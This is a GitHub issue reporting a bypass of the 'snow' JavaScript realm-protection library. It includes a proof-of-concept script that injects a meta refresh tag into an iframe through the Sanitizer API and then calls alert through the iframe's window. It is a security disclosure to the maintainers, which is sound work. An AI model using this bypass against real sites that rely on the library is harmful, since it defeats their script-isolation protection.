snow icon indicating copy to clipboard operation
snow copied to clipboard

Snow can be bypassed with meta and the HTML sanitizer

Open hackvertor opened this issue 1 year ago • 1 comments

This is similar #142 but I use the Sanitizer API to inject the meta tag

i=document.createElement('iframe');
i.src=123;
i.name='xyz';
counter=0;
i.onload=x=>{
i.contentDocument.body.setHTML('<meta http-equiv="refresh" content="0">',
{sanitizer:new Sanitizer({allowElements: [ "meta" ],allowAttributes:{"http-equiv":["meta"],"content":["meta"]}})});
counter++;
if(counter>1){
  i.onload=null;
}
};
setInterval(x=>xyz.alert(1337),0);
document.body.append(i);

hackvertor avatar Oct 16 '23 11:10 hackvertor